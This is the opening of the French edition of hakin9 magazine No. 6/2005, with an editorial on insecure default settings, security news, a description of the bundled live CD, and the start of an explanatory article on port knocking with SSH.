4

www.hakin9.org hakin9 Nº 6/2005
5 www.hakin9.org
hakin9 Nº 6/2005
Tomasz Nidecki
tonid@hakin9.org
Catastrophe par défaut
Je me demande, si des investigations n'ont jamais été entre-
prise pour savoir combien d'infractions de sécurité sont dues
à l'utilisation de paramètres par défaut aussi bien au niveau
matériel que logiciel. En tout cas, mes propres observations
m'ont étonné.
Jetons un coup d'œil à quelques exemples pratiques.
Disons que vous avez un switch Cisco, bien relié à votre
réseau. Il fait tout ce qu'il devrait, le réseau fonctionne bien.
Bien sûr qu'il le fait – les paramètres par défaut le garantis-
sent. Mais ils le garantissent si bien, qu'un intrus à l'intérieur
de votre réseau peut le fait ruiner plus rapidement, que vous
pouvez cligner. Si les mots STP ou CDP ne vous disent pas
grand chose, jetez un coup d'œil à la page 24 – un article sur
les attaques au niveau de la couche liaison de données vous
expliquera tout.
Un autre exemple. Disons que vous venez juste d'acheter
un logiciel pour réaliser un VPN. Il est compréhensible que
vous ne vouliez pas que, chacun sache que des données
valant des millions de dollars transitent chaque seconde sur
Internet et quel logiciel vous utilisez pour acheminer ce fux.
Donc, plus vous êtes près des paramètres par défaut, plus
vous avez de chance que, non seulement votre logiciel soit
détecté mais également qu'il fasse l'objet du fngerprinting
(voir page 46).
Pas s'éloignant de paramètres par défaut a toujours été
une chose qui rend la vie de cracker plus facile. Si un cracker
voulait écrire un virus qui affecterait la plupart des utilisa-
teurs, ce cracker utiliserait les trous de sécurité dans les logi-
ciels installés par défaut – Windows avec Outlook Express
ou Internet Explorer. Plus vous êtes loin des paramètres par
défaut, plus l'utilisateur est en sécurité. Les utilisateurs de
Macs ont toujours été considéré comme plus en sécurité que
les PCs à base de Windows et je crois que la cause princi-
pale à ceci était le fait qu'il y avait moins d'utilisateur Mac que
d'utilisateur de PC. *NIX était également considérés comme
sûr, jusqu'à ce que Linux arrive et qu'un certain nombre de
personnes ont commencé à l'utiliser, par conséquent, plus
de crackers se sont intéressés à lui.
Les paramètres par défauts sont à mon avis la plus
grosse menace de sécurité. Heureusement, certains pro-
grammeurs sont avertis et essaient de forcer les utilisateurs
de leur logiciels, à lire le manuel et installer le logiciel cor-
rectement.
La plupart des utilisateurs d'ordinateur lisent la presse
adressé au grand public par défaut. Soyez sûrs. Lisez-nous
à la place.
Secrétaire de rédaction :
Tomasz Nidecki
Actus
Marek Bettman, Tomasz Nowak
Vous trouverez ici les nouvelles du monde de la sécu-
rité des systèmes informatiques.
CD-ROM – hakin9.live
Robert Główczyński, Tomasz Nidecki
On vous présente le contenu et le mode de fonction-
nent de la version récente de notre principale distri-
bution hakin9.live.
Dossier
Port knocking depuis l'interieur
Martin Krzywinski
Cet article a pour but d'expliquer en quoi consiste
la technique du port knocking. Vous apprendrez
à mettre en place cette technique le plus simplement
possible et utiliser un mécanisme plus complexe
basé sur le programme Doorman. Les avantages
et les défauts du port knocking sont décrits ici.
Focus
Attaques de la couche deux du
modèle OSI
Alfredo Andrés, David Barroso
Grâce à cet article, vous connaîtrez les attaques sur
les protocoles fonctionnant à l’intérieur de la couche
de liaisons de données. On vous décrit en quoi elles
consistent, quelles sont leurs conséquences, com-
ment en réaliser et comment s'en défendre.
Pratique
La guerre des robots, ou comment
fonctionnent les réseaux
d'ordinateurs zombies
Massimiliano Romano, Simone Rosignoli, Ennio Giannini
Cet article a pour but d'expliquer le fonctionnement
de robots/botnets. On vous présente les dangers
liés à leur utilisation ainsi que leurs applications pra-
tiques. On vous montre comment créer facilement un
botnet personnel.
ArpAlert 0.4.10
Thierry Fournier
Cet article explique comment implémenter une détec-
tion de connexions illégales dans un réseau local
à l'aide de l'outil ArpAlert.
06
44
08
24
36
10
4
www.hakin9.org hakin9 Nº 6/2005
5 www.hakin9.org
hakin9 Nº 6/2005
Fiche technique
Détection et relevé
d'empreintes de VPN IPsec
Roy Hills
Les méthodes de détection de l'existence des
réseaux VPN et de relevé d'empreintes digitales
(en anglais fngerprinting) sont présentés. L'article
explique comment fonctionne IPsec et pourquoi les
protocoles utilisés dans les réseaux VPN permettent
une identifcation facile des périphériques ou pro-
grammes réalisant ce service.
Programmation
Plein contrôle ou accès de bas
niveau au réseau
Konrad Malewski
L'article vous enseigne comment utiliser les bibliothè-
ques WinPcap et libnet pour avoir un accès de bas
niveau au réseau. Vous apprendrez comment écrire
une application à l'aide de ces outils.
Créer un shellcode
polymorphique
Michał Piotrowski
La suite sur l’écriture du shellcode. Cette fois-ci,
les shellcodes polymorphiques sont décrits. Leur
détection est plus diffcile que les simples shellcodes
décrits dans le premier article de la série.
Éditorial
Faites attention à votre argent
Tomasz Nidecki
Qu'est-ce qui est le plus sûr : placer de l'argent
dans des banques virtuelles ou au-dessous de votre
oreiller ?
Dans le prochain numéro
Magdalena Grzmiączka
Les articles qui seront publiés dans le numéro de
hakin9 à venir.
46
58
68
80
82
Le périodique est publié par
Software-Wydawnictwo Sp. z o.o.
Piaskowa 3, 01-067 Varsovie, Pologne
Tél. +48 22 887 10 10, Fax. +48 22 887 10 11
www.hakin9.org
Directeur de la publication : Jarosław Szumski
Imprimerie, photogravure : 101 Studio, Firma Tęgi
Ekonomiczna 30/36, 93-426 Łódź
Imprimé en Pologne/Printed in Poland
Abonnement (France métropolitaine) : 1 an (soit 6 numéros) 38 €
DOM/TOM, étranger : nous consulter
Dépôt légal : à parution
ISSN : 1731-7037
Distribution : MLP
Parc d’activités de Chesnes, 55 bd de la Noirée
BP 59 F - 38291 SAINT-QUENTIN-FALLAVIER CEDEX
(c) 2005 Software-Wydawnictwo, tous les droits réservés
Chef de produit : Magdalena Grzmiączka
magdalenag@software.com.pl
Secrétaire de rédaction : Tomasz Nidecki tonid@hakin9.org
Préparation du CD : Robert Główczyński, Tomasz Nidecki
Maquette : Anna Osiecka annao@software.com.pl
Couverture : Agnieszka Marchocka
Traduction : Grażyna Wełna, Iwona Czarnota, Marie-Laure Perrotey,
Aneta Lasota
Correction : Jean-François K@sparov, Gilles Gaffet, Pierre-Emmanuel
Leriche, Gilles Fournil, Pierre Mennechet, Jeremy Canale,
Patrick Fernandez, Franck Ebel
Les personnes intéressées par la coopération sont priées de nous
contacter : cooperation@software.com.pl
Abonnement : abonnement@software.com.pl
Fabrication : Marta Kurpiewska marta@software.com.pl
Diffusion : Monika Godlewska monikag@software.com.pl
Publicité : adv@software.com.pl
Si vous êtes intéressé par l’achat de licence de publication de revues
merci de contacter :
Monika Godlewska
e-mail : monikag@software.com.pl
tél : +48 (22) 887 12 66
fax : +48 (22) 887 10 11
La rédaction fait tout son possible pour s’assurer que les logiciels sont à jour,
pourtant elle décline toute responsabilité pour leur utilisation. Elle ne fournit pas
de support technique lié à l’installation ou l’utilisation des logiciels enregistrés
sur le CD-ROM. Tous les logos et marques déposés sont la propriété de leurs
propriétaires respectifs.
La rédaction utilise le système PAO
Pour créer les diagrammes on a utilisé le programme
Le CD-ROM joint au magazine a été testé avec AntiVirenKit de la société G Data
Software Sp. z o.o.
La revue hakin9 est publiée en 7 versions :
FR PL CZ EN
IT DE ES
AVERTISSEMENT
Les techniques présentées dans les articles ne peuvent
être utilisées qu'au sein des réseaux internes.
La rédaction du magazine n'est pas responsable de
l'utilisation incorrecte des techniques présentées.
L'utilisation des techniques présentées peut provoquer la
perte des données !
Actus
hakin9 Nº 6/2005 www.hakin9.org 6
Actus
www.hakin9.org 7 hakin9 Nº 6/2005
Les créateurs de Zotob
arrêtés
La police au Maroc et en Turquie a
arrêté deux personnes responsa-
bles de la création et de la diffusion
des vers Internet Zotob et Mytob
dont l'activité a paralysé le travail
de plusieurs sociétés et agences
gouvernementales américaines.
Les détenus sont Farid Essebar
(marocain âgé de 18 ans) et Atilla
Ekici (turc âgé de 21 ans).
Selon les paroles de Louis M. Rigel
de la section de lutte contre la crimi-
nalité électronique au FBI, Essebar
a écrit le code du vers à la demande
d'Ekici. Le vers attaquait les machi-
nes tournant sous la surveillance du
système Microsoft Windows. Pour
l'instant, le montant de la rému-
nération et le montant des pertes
dues à l'attaque de Zatob et de ses
mutations ne sont pas connus.
Zotob et Mytob permettent les
attaques suivantes contre les
ordinateurs infectés. En plus, Zotob
est capable de redémarrer Windows
2000. Il est possible d'accéder à dis-
tance à un ordinateur infecté grâce
à une erreur dans le mécanisme
système de détection du matériel
Plug and Play. Pour attaquer un
ordinateur, Zotob ne doit y démarrer
aucunes applications. L'utilisateur
risque donc de ne pas se rendre
compte du danger auquel il est
exposé. Le virus a apparu presque
une semaine après que Microsoft ait
publié l'avertissement concernant un
trou dans les mécanises de sécuri-
sation ainsi que le patch permettant
d'éliminer le danger.
Le dernier numéro de
PHRACK ?
Le 9 juillet, l'agence d'information
BBC a publié sur sa page Internet
une information sur la fermeture de
l'un des plus populaires magazines
Internet – PHRACK. PHRACK était
durant les 20 dernières années
le magazine le plus apprécié et
le plus professionnel publiant les
matériaux concernant aussi bien
les mécanismes de sécurisation
des réseaux informatiques que les
méthodes d'attaque.
Le 63
ième
numéro a été publié
après un an de pause. Dans l'intro-
duction, on peut lire que PHRACK
n° 63 est vraiment la dernière
édition ... élaborée par la rédac-
tion actuelle et que le nouveau
PHRACK 64 paraîtra probablement
au tournant de 2006 et 2007.
S
elon le rapport le plus récent
établi par la société Webroot, la
plupart des logiciels spyware vien-
nent des États-Unis. La deuxième
et la troisième place dans ce clas-
sement appartiennent respective-
ment à la Pologne et à la Hollande.
Assurant une surveillance constante
du danger provoqué par les logiciels
espions, Webroot publie son rapport
tous les trois mois. Le plus récent,
paru le 23 août, examine pour la
première fois la provenance géogra-
phique des spyware.
Le classement de Webroot pre-
nant en compte la division par pays
de provenance concerne les pages
utilisant les exploits. Selon les statis-
tiques les plus récentes, le plus grand
nombre de pages (adresses URL)
installant des logiciels spyware en
utilisant les exploits ont été retrouvé
aux États-Unis (plus de 25 mille).
La Pologne occupe la deuxième
place en ce qui concerne le nombre
des pièges qui attendent les inter-
nautes – le rapport de la société
Webroot présente plus de 8 mille
pages dangereuses venant de Polo-
gne. En Hollande, il y a plus de 4 mille
pages contenant des pièges.
Les données concernant la pro-
venance des logiciels spyware sont
De plus en plus de spyware
ramassées par le scanner Phileas
étant le premier système automa-
tisé de détection de spyware sur
Internet. Phileas est une sorte de
robot réseau fouillant sans cesse les
ressources Web à la recherche de
nouveaux logiciels spyware cachés
sur les pages Internet. À la base des
données analysées, les laboratoires
de Webroot font des mises à jour des
bases de signatures pour le logiciel
Webroot Spy Sweeper.
Le nombre total des pages Inter-
net (adresses URL) contenant des
logiciels espions a quadruplé depuis
le début 2005 en atteignant déjà le
nombre de 300 mille d'adresses. En
même temps, le nombre des signatu-
res spyware uniques dans la base de
Webroot a doublé dépassant récem-
ment le nombre de 100 mille.
Le rapport le plus récent de
Webroot montre également la
croissance du nombre des logiciels
espions dans les ordinateurs de
société – au dernier trimestre, le
nombre des ordinateurs infectés
dans les sociétés a augmenté de
19%. La version complète du rapport
est disponible en téléchargement
après s'être enregistré sur la page de
l'éditeur – http ://www.webroot.com/.
E
n Finlande, un homme de 26 ans
suspecté d'avoir pénétré dans
un compte bancaire électronique et
d'avoir volé 200 mille d'euros a été
arrêté. Les données personnelles pré-
cises du détenu n'ont pas été rendues
publiques. On suppose cependant
que c'était un directeur du service de
sécurité des données dans une fliale
de GE Money (prêtant les services
fnanciers) à Helsinki.
Le suspect a volé la société où il
travaillait. Selon le magazine fnlan-
dais Helsingin Sanomat, il est l'un des
quatre détenus arrêtés à cause du vol
commis en juin. Avec l'aide de deux
complices, le suspect a copié un logi-
ciel bancaire et les mots de passe vers
un ordinateur portable de la société.
Il a obtenu l'accès au compte bancaire
200 mille d'euros volés par un directeur
en utilisant – pour éviter les soupçons
– un réseau sans fl non sécurisé de
son voisin. L'argent volé a été versé
sur un autre compte de la société.
Les premiers soupçons tombaient
sur le propriétaire du réseau sans fl.
La police a pu constater que celui-ci
n'avait pas participé au vol. L'analyse
des journaux réseau a permis de
révéler une adresse MAC de l'ordi-
nateur portable étant la propriété de
GE Money. L'auteur du vol a été arrêté
après que l'on ait réussi à trouver un
lien avec l'ordinateur portable de la
société utilisé pour le vol grâce à la
compatibilité des adresses MAC.
Le quatrième membre du groupe a
été arrêté alors qu'il essayait de retirer
5000 euros du compte observé. L'ar-
gent volé a été récupéré.
Actus
hakin9 Nº 6/2005 www.hakin9.org 6
Actus
www.hakin9.org 7 hakin9 Nº 6/2005
Internet Explorer dangereux
pour Windows
Depuis un certain temps, un exploit
pour un nouveau trou de sécu-
rité toujours non patché dans le
navigateur Internet Explorer est
disponible sur le réseau. Tout un
chacun préparant une page Web
appropriée et y invite l'internaute
surfant à l'aide du navigateur
de Microsoft peut exécuter avec
succès n'importe quelle commande
dans le système de la victime
inconsciente.
Comme disent les communiqués,
même le système Windows XP
avec SP2 installé est vulnérable
à l'attaque – la condition en est
la présence de la bibliothèque
msdds.dll qui n'est pas installée
comme un élément standard du
système Windows mais qui consti-
tue un élément des logiciels utilisés
communément tels que Microsoft
Offce ou Visual Studio.
L'erreur a été défnie comme
critique. Jusqu'à ce que les patchs
adéquats ne soient mis à dispo-
sition par Microsoft, les experts
conseillent de ne pas utiliser Internet
Explorer, de désactiver le support
d'ActiveX ou de supprimer msdds.dll
du système, ce qui peut entraîner
pourtant le mauvais fonctionnement
de certaines applications.
Claviers d'écran – une illu-
sion de sécurité
Les analystes d’Anti-Phishing Wor-
king Group (APWG) avertissent que
la technique appelée screenscraper
permettant d'intercepter les données
de la victime bien que celle-ci utilise
un clavier d'écran est mise en œuvre
de plus en plus souvent.
Les keyloggers n'étaient pas
capables d'intercepter les données
confdentielles car en utilisant
un clavier d'écran, les données
sont entrées à l'aide de la souris.
Cependant, les logiciels espions
utilisant la screenscraper permet-
tant de créer des captures d'écran
– lorsqu'une victime entre les don-
nées à l'aide de la souris, le logiciel
fait une capture d'écran et l'envoie
à l'agresseur.
Les experts d'APWG ont aussi
informé que le nombre des rap-
ports concernant les attaques des
phishers a diminué dernièrement
– en juin 2005, 15050 déclarations
ont été signalées tandis qu'en
juillet, il y en avait 14135.
U
n pirate informatique venant
d'Autriche portant le pseudo-
nyme Second Part To Hell a écrit
quelques logiciels pouvant être
considérés comme les premiers
virus pour un nouveau produit de
Microsoft. Les vers utilisent les trous
de sécurité dans la nouvelle ligne de
commandes du système Windows
Vista nommée Monad.
Le code des nouveaux vers a été
publié dans un guide de créateurs de
virus supporté par le groupe clandes-
tin Ready Ranger Liberation Front.
Second Part To Hell – appelé éga-
lement Mario – a créé les nouveaux
virus le 21 juillet, à savoir un jour après
que Microsoft a présenté offciellement
la ligne de commandes utilisée dans la
version la plus récente de Windows.
La société fnlandaise F-Secure,
expert dans le domaine de la sécu-
rité informatique, a nommé la famille
des nouveaux virus Danom, ce qui
est l'anagramme du mot Monad.
Mikko Hyppönen, chef du bureau
d'études de F-Secure, en examinant
le code de nouveaux virus a constaté
qu'ils avaient un caractère destructif
Trous de sécurité dans Windows Vista
mais qu'ils n'étaient pas capables de
porter des préjudices importants à
l'utilisateur de Vista. L'expert fnlan-
dais a été surpris non par la création
d'un virus pour Vista mais par la rapi-
dité de sa naissance. Huit jours se
sont à peine écoulés depuis la date
de mise à disposition de la version
de test du nouveau système d'exploi-
tation – a souligné Hyppönen.
Un peu de temps après, Micro-
soft a annoncé que Monad ne ferait
pas partie du système Windows
Vista qui paraîtra bientôt. Selon le
représentant de Microsoft, la ligne de
commandes sera pourtant intégrée
avec le système suivant dédié aux
postes serveur. Ce système nommé
pour l'instant Longhorn Server doit
sortir en 2007.
Monad devait faire partie de
Vista. Vu cela, les codes malveillants
ont été vite considérés comme pre-
miers virus pour Windows Vista. La
déclaration de Microsoft dit claire-
ment que les virus portant atteinte
à Monad ne seront pas dangereux
pour la version fnale du nouveau
système d'exploitation.
D
efcon, conférence internationale
des pirates informatiques à Las
Vegas, n'attire pas seulement les pas-
sionnés de l'informatique. Les cours
sont également fréquentés par les
hommes en noir. Ils ne participent pas
aux séminaires, aux démonstrations
ou à d'autres attractions par plaisir ou
pour s'éduquer en matière de sécurité
informatique. Ils sont là pour recruter
les jeunes hackers doués, pour le FBI,
afn qu'ils travaillent pour le compte du
gouvernement des États-Unis.
Combien de pirates y consentent ?
Plusieurs. Richard Thieme, expert
en sécurité, raconte que lors d'un
cours organisé au Pentagon pour les
hommes du gouvernement et portant
sur les technologies de pointe, il a
reconnu quelques de visages parmi
le public présent. D'où il connaissait
tant de spécialistes travaillant pour le
gouvernement ? Tous étaient des par-
ticipants à la conférence Defcon.
Le FBI recrute les pirates informatiques
La coopération avec les jeunes
geeks informatiques doués com-
mence souvent au lycée. Si le futur
hacker décide de travailler pour le gou-
vernement, le FBI s'oblige à payer ses
études et une formation supplémen-
taire en matière de sécurité réseau.
Le fait que Defcon est fréquenté
par les agents fédéraux est connu
depuis longtemps. Il existe même
un jeu de terrain dont l'objectif est
de démasquer les agents. Il sufft de
rencontrer lors de la conférence un
homme correspondant à un agent
FBI typique ; le costume sombre,
les lunettes foncées et les chaussu-
res cirées et de crier agent ! Il n'y a
pas de perdants dans le jeu. Aussi
bien celui qui a réussi à identifer un
agent fédéral que l'agent lui-même
reçoivent les t-shirts de Defcon ;
pour l'agent, c'est un t-shirt avec une
inscription je suis agent fédéral.
CD-ROM
hakin9 Nº 6/2005 www.hakin9.org 8
L
e CD joint au magazine contient hakin9.live (h9l)
version 2.7-ng – une version bootable de Linux
contenant des outils, de la documentation, des
tutoriaux et des matériaux complémentaires aux articles.
Pour commencer le travail avec hakin9.live, il sufft de
démarrer l'ordinateur à partir du CD. Après le démarrage
du système, vous pouvez ouvrir la session en tant qu'uti-
lisateur hakin9 sans mot de passe.
Dans la présente version, la structure des répertoires
a été modifée :
• doc – la documentation au format HTML,
• hit – les hits de ce numéro : 90 jours d’essai de l'ex-
cellent outil de surveillance réseaux : Anasil 3.1 et la
version d'essai de 60 jours du programme anti-virus
ArcaVir,
• art – matériaux complémentaires aux articles : lis-
tings, scripts, programmes indispensables,
• tut – tutoriaux,
• add – livres et autres documents au format PDF,
• rfc – documents contenant les RFC actuels (archive
.zip).
Les anciens matériaux se trouvent dans les sous-réper-
toires _arch, par contre les nouveaux – dans les réper-
toires principaux suivant la structure ci-dessus. Si vous
parcourez le CD, cette structure est disponible dans le
sous-répertoire /mnt/cdrom.
La version 2.7-ng h9l est basée sur la distribution
Gentoo Linux et les scripts livecd-tools. Les outils non
disponibles dans le répositoire Gentoo sont installés à
partir des paquets du répertoire /usr/local/portage ou
chargés dans le répertoire /usr/local/bin. Le système tra-
vaille sous la surveillance du noyau 2.6.12-r9. Le paquet
ISAPNPTOOLS et les pilotes IPW2100 ont été ajoutés.
Certains outils non liés à la sécurité (Aspell, CUPS, jeux)
ont été supprimés, par contre les outils pour les tests ré-
hakin9.live
seaux et quelques applications ont été complétés sur ce
CD. Kismet a été compilé avec la gestion de GPS.
Dans cette version de h9l, nous avons ajouté les pro-
grammes suivants :
• Wavemon – le moniteur de réseaux sans fls (ncurses),
• Wellenreiter – l'outil pour la détection de réseaux sans
fls (avec interface graphique),
• Paros – le proxy pour les tests des applications
HTTP/HTTPS,
• Les navigateurs de réseaux SMB : LinNeighborhood
et Xsmbrowser,
• Raccess – un excellent outil de tests de pénétrations
à distance,
• Yersinia – l'outil pour les attaques des protocoles de
couche de liaison de données.
Actuellement, l'environnement graphique par défaut est
Fluxbox avec le gestionnaire de fchiers ROX. Il est pos-
sible de lancer l'environnement graphique très convivial
Xfce 4 en version 4.2.2 (Session->Xfce session dans le
menu d'ouverture de session).
Tutoriaux et documentation
La documentation contient, entre autres, les tutoriaux pré-
parés par la rédaction avec les exercices pratiques. Les
tutoriaux sont conçus pour être utilisés sur hakin9.live.
Grâce à cette solution, vous évitez tous problèmes relatifs
aux différentes versions de compilateurs, à la localisation de
fchiers de confguration ou autres options nécessaires pour
démarrer les programmes dans un environnement donné.
Dans la présente version de hakin9.live, outre
les tutoriaux des numéros précédents mis à jour, un
nouveau tutoriel a été ajouté. Il décrit la plus simple
réalisation possible du port knocking à l'aide des outils
SendIP et tcpdump. Le tutoriel complète l'article de
Martin Krzywinski (cf. la page 10). l
Figure 1. Nouveaux outils indispensables Figure 2. Environnement graphique alternatif – Xfce 4
S’il vous est impossible de lire le CD, et ce dernier n’est pas endom-
magé mécaniquement, essayez de le lire au moins dans 2 lecteurs.
En cas de problème avec votre CD, envoyez-nous un
message à l’adresse suivante : cd@software.com.pl
www.hakin9.org hakin9 Nº 6/2005 10
Dossier
S
i vous lancez des services de réseau
d'authentifcation forte (p. ex. SSH)
sur votre serveur, il est probable que
vous employez les processus d'authentifca-
tion et d'encodage de services pour faire une
distinction entre les utilisateurs légitimes et illé-
gitimes. L'utilisateur légitime a un mot de passe
et l'utilisateur illégitime ne l'a pas. Pour que le
service identife ce fait, l'utilisateur illégitime
a une possibilité d'interagir avec le service.
Si vous en tenez compte, les méthodes de
password guessing (deviner les mots de passe)
ne permettent pas d'entrer facilement dans un
système bien maintenu ; l'intrus essayera alors
de contourner l'élément d'authentifcation du ser-
vice et d'augmenter ses privilèges, en explorant
des bogues connus, comme le débordement de
mémoire tampon. Puisque le zero-day exploit
(vulnérabilité non publique) peut survenir à tout
moment, maintenir un service de réseau n'est
pas une activité passive. Il est nécessaire de
suivre les conseils concernant les vulnérabilités
et de suivre les correctifs pour boucher les failles
de sécurité. Mais il faut l'admettre : lire des con-
seils est tellement ennuyeux, ingrat et complète-
ment inutile en 99.99 % de cas. Un ou deux ans
peuvent s'écouler avant que la vulnérabilité de
votre version de service soit trouvée et décrite ;
ou aussi bien, cela peut ne jamais arriver. Que
peut-on donc faire ?
Premièrement, il faut prendre en compte
le fait que les services avec une base d'uti-
lisateurs fnis n'ont pas besoin de laisser ses
ports ouverts tout le temps. Contrairement
aux services publics, comme SMTP ou HTTP,
qui doivent recevoir des connexions de tout le
Port knocking depuis
l'intérieur
Martin Krzywinski
Degré de diffculté
Laisser un port ouvert au public, c'est comme inviter un intrus.
Hélas, la plupart des services comme HTTP ou SMTP doivent
rester ouverts à tout le monde. Certains services, les plus cruciaux,
peuvent être toutefois accessibles uniquement à la demande. C'est
ici que le mécanisme de port knocking intervient.
Cet article explique...
• ce qu'est le port knocking, comment il fonctionne
et à quoi il sert,
• comment écrire la plus simple implémentation
du port knocking,
• comment confgurer le programme Doorman
pour un port knocking avancé,
• comment le port knocking peut être détecté et
compromis.
Ce qu'il faut savoir...
• vous devriez avoir des bases des réseaux
TCP/IP,
• vous devriez avoir des compétences élémen-
taires d'administration de Linux.
Port knocking
hakin9 Nº 6/2005 www.hakin9.org 11
monde partout et ne nécessitent pas
en général une authentifcation, SSH
est un service qui permet d'entrer
uniquement aux utilisateurs dotés de
mots de passe. Imaginez que vous
êtes capables de garder le port SSH
(tcp/22) fermé et par conséquent, de
rendre le service inaccessible et pro-
tégé contre les vulnérabilités jusqu'à
ce que le service soit demandé par
l'un de vos utilisateurs légitimes.
Comment alors le service peut-il
être demandé alors que les ports
sont fermés et aucune connexion
n'est possible ? C'est le moment
où le mécanisme de port knocking
intervient. Le port knocking permet
à l'utilisateur de demander d'ouvrir le
port devant un service réseau. Cette
demande a une forme d'une séquen-
ce passive des paquets d'authentif-
cation qui traversent les ports fermés
du serveur (voir l'Encadré Port knock
– information à travers des ports fer-
més). Il est possible d'envoyer des
informations à travers des ports fer-
més, même si ces ports sont fermés
et aucun service de réseau n'écoute.
Ceci est possible car votre pare-feu
ou un autre programme utilitaire,
comme cpdump, peut être confguré
pour contrôler tous les paquets en-
trants, même s'ils n'arrivent jamais à
des applications comme SSH.
Limites de fltrages IP
Une manière de limiter une section
croisée de votre service de réseau
consiste à utiliser un fltre IP (voir
l'Encadré Filtres IP), comme netflter/
iptables. Le fltre serait confguré pour
ne permettre que les connexions
provenant des adresses IP d'où votre
base d'utilisateurs se connecte. Cette
liste comprend des bureaux et des
domiciles distants.
Cette approche se prête très bien
pour limiter le nombre des sources
d'où les connexions sont autorisées
mais elle est restreinte en ce qui
concerne la capacité de gérer les
utilisateurs mobiles ou les bureaux/
domiciles pour lesquels les adresses
IP externes sont attribuées de ma-
nière dynamique. Si vos utilisateurs
changent souvent leurs ordinateurs
ou réseaux, il n'est pas pratique de
maintenir une liste changeant des
adresses IP d'où les connexions sont
autorisées. C'est particulièrement
important lorsque les utilisateurs
essayent de se connecter à partir
des emplacements douteux, comme
cybercafés ou universités.
L'utilisation d'un fltre IP crée
une hypothèse selon laquelle une
adresse IP ou une adresse réseau
de confance n'est utilisée que par
les utilisateurs de confance. Ce
n'est pas toujours vrai, en particulier,
lorsque l'adresse IP de confance est
une passerelle d'un grand réseau
interne. Il est alors facile d'imaginer
un cas où les attaques et les con-
nexions légitimes peuvent provenir
d'une même adresse IP.
Le port knocking fournit un mé-
canisme permettant de traiter tous
ces points. Le port knocking permet
d'éviter l'emploi de correspondance
entre une adresse IP et un utilisateur
individuel. Les utilisateurs peuvent
s'identifer au moyen de leurs jetons
d'authentifcation, sans demander
l'ouverture de ports sur le serveur. Par
conséquent, le port knocking permet
à un utilisateur spécifque de se con-
necter de n'importe quelle adresse
IP au lieu de permettre à n'importe
quel utilisateur de se connecter d'une
adresse IP spécifque. Cette distinc-
tion est importante car le nombre de
périphériques individuels, d'où des
utilisateurs peuvent se connecter,
augmente sans cesse (ordinateurs
de bureau, ordinateurs à domicile, or-
dinateurs portables, PDA, téléphones
mobiles, etc.).
Besoins
Si vous êtes en train de lire cet article,
il est très probable que vous disposez
de tout ce qu'il faut pour protéger vos
systèmes au moyen de port knocking.
Premièrement, vous avez besoin
Port knock – information à travers des ports fermés
Contrairement aux idées répandues, vous n'avez pas besoin d'ouvrir les ports pour
transmettre des données. Même si les connexions sont rejetées par un fltre IP, ces ten-
tatives sont loguées et par conséquent, il est possible d'y chercher des informations.
Dans le cas le plus simple, prenez les ports A et B, tous les deux fermés et dé-
pourvus d'application d'écoute. Si le fltre IP est confguré pour contrôler les paquets
entrants à ces ports, il est simple d'analyser les journaux de fltres et d'identifer la
séquence de port (p. ex. ABAABBBAA) associée au client IP. Cette séquence de port
peut être utilisée pour encoder des informations. L'encodage peut servir d'une carte
entre une séquence de port spécifque et une information (p. ex. ABA = ouvrir le port
22 pour 15 minutes, ABB = fermer le port 22, BAA = fermer le port 22 et empêcher des
connexions complémentaires). L'encodage peut également avoir une forme binaire où
A/B représente 0/1.
Filtres IP
Le rôle d'un fltre IP consiste à contrôler le passage des paquets à travers la pile TCP/IP,
en se basant sur le contenu de leurs en-têtes. Par conséquent, un fltre IP peut empê-
cher les paquets originaires des adresses MAC ou IP spécifques d'aller plus loin dans
la pile, en défendant la livraison du paquet à une application.
Un fltre IP (p. ex. netflter/iptables) opère sur la couche 3 de OSI de la pile TCP/IP
(pour plus d'informations sur les couches OSI, reportez-vous à l'Encadré Sept cou-
ches du modéle OSI dans l'Article Attaques de la couche deux du modèle OSI dans le
numéro actuel de hakin9) et contrôle le fux de paquets, basés sur le contenu de leurs
en-têtes IP. Ces en-tête comprennent les adresses IP source et cible, le protocole
(TCP, UDP, etc.) et TTL. Actuellement, la plupart des fltres IP, y compris iptables, sont
capables d'aller plus bas (couche 2) et plus haut (couche 4) et de fltrer les paquets via
des informations de bas niveau (MAC adresse) ainsi que des informations de haut ni-
veau, trouvées dans les en-têtes de protocole (TCP ou UDP). Tout cela inclut les ports
source et cible et, pour TCP, des informations supplémentaires, comme le numéro de
la séquence et les drapeaux (SYN, ACK, FIN et d'autres).
hakin9 Nº 6/2005 www.hakin9.org
Dossier
12
d'un pare-feu d'adressage, comme
iptables. Ensuite, vous avez besoin
d'un nombre suffsant de ports non-
utilisés pour le contrôle de frappes. Si
l'authentifcation s'effectue via une sé-
quence de frappes au port, vous aurez
besoin en théorie de deux ports. Tou-
tefois, plus vous avez de ports (p. ex.
1024, voire 16355), plus de données
d'authentifcation complexes, et donc
plus souples, peuvent être encodées
Figure 1. Paquet envoyé à l'aide
des protocoles TCP ou UDP
contient trois en-têtes : Ethernet
(22 octets), IP (20 octets) et TCP ou
UDP (20 ou 8 octets), une section
de charge de données à longueur
variable et une somme de contrôle
de trame fnale, ajoutée à la couche
accès du réseau
Paquets et datagrammes
Un paquet est un bloc de données, contenant toutes les informations, nécessaires
pour les délivrer (voir la Figure 1). Pensez à une lettre postale. Lorsque des paquets
traversent Internet, des périphériques réseau divers analysent et manipulent les pa-
quets sur leur chemin de la destination à la source.
Un datagramme est un format spécifque de paquet, défni par le protocole IP (voir
la Figure 2). Le datagramme contient l'en-tête IP, l'en-tête spécifque au protocole
(TCP, UDP, etc.) et la charge de données. Dans un paquet Ethernet, le datagramme
est une charge de données à la couche réseau (couche 3 de OSI).
Figure 2. Les en-têtes Ethernet, IP, TCP et UDP contiennent des
informations nécessaires à un transport réussi de données de leurs couches
respectives
UDP ou TCP pour le
port knocking
Il appartient au programmeur de déci-
der s'il utilise TCP ou UDP. Les deux
ont des qualités et aucun n'a d'incon-
vénients importants. Les implémen-
tations du port knocking, qui utilisent
TCP, se servent du paquet SYN pour
authentifer le client, bien que le
drapeau SYN ne soit pas rigoureuse-
ment requis. Puisque le client décide
lui-même d'envoyer les séquences
de paquet, SYN ou autre chose,
à n'importe quel socket distant, la
combinaison de ports, auxquels sont
envoyés ces paquets, peut être utilisée
pour encoder les données. Puisque le
serveur ne confrme pas l'arrivée des
paquets par un accusé de réception
(port knocking est passif), certaines
implémentations choisissent d'utiliser
UDP comme protocole, ce qui est un
choix plus naturel dans ce cas-là.
En ce qui concerne les avantages
de TCP, on peut dire que l'en-tête TCP
est plus grand et capable de contenir
davantage d'informations d'authenti-
fcation. Si un grand nombre de pa-
quets TCP est envoyé, il est important
que le serveur soit capable de refaire
leur ordre initial ; cet ordre peut être
recréé au moyen du numéro d'iden-
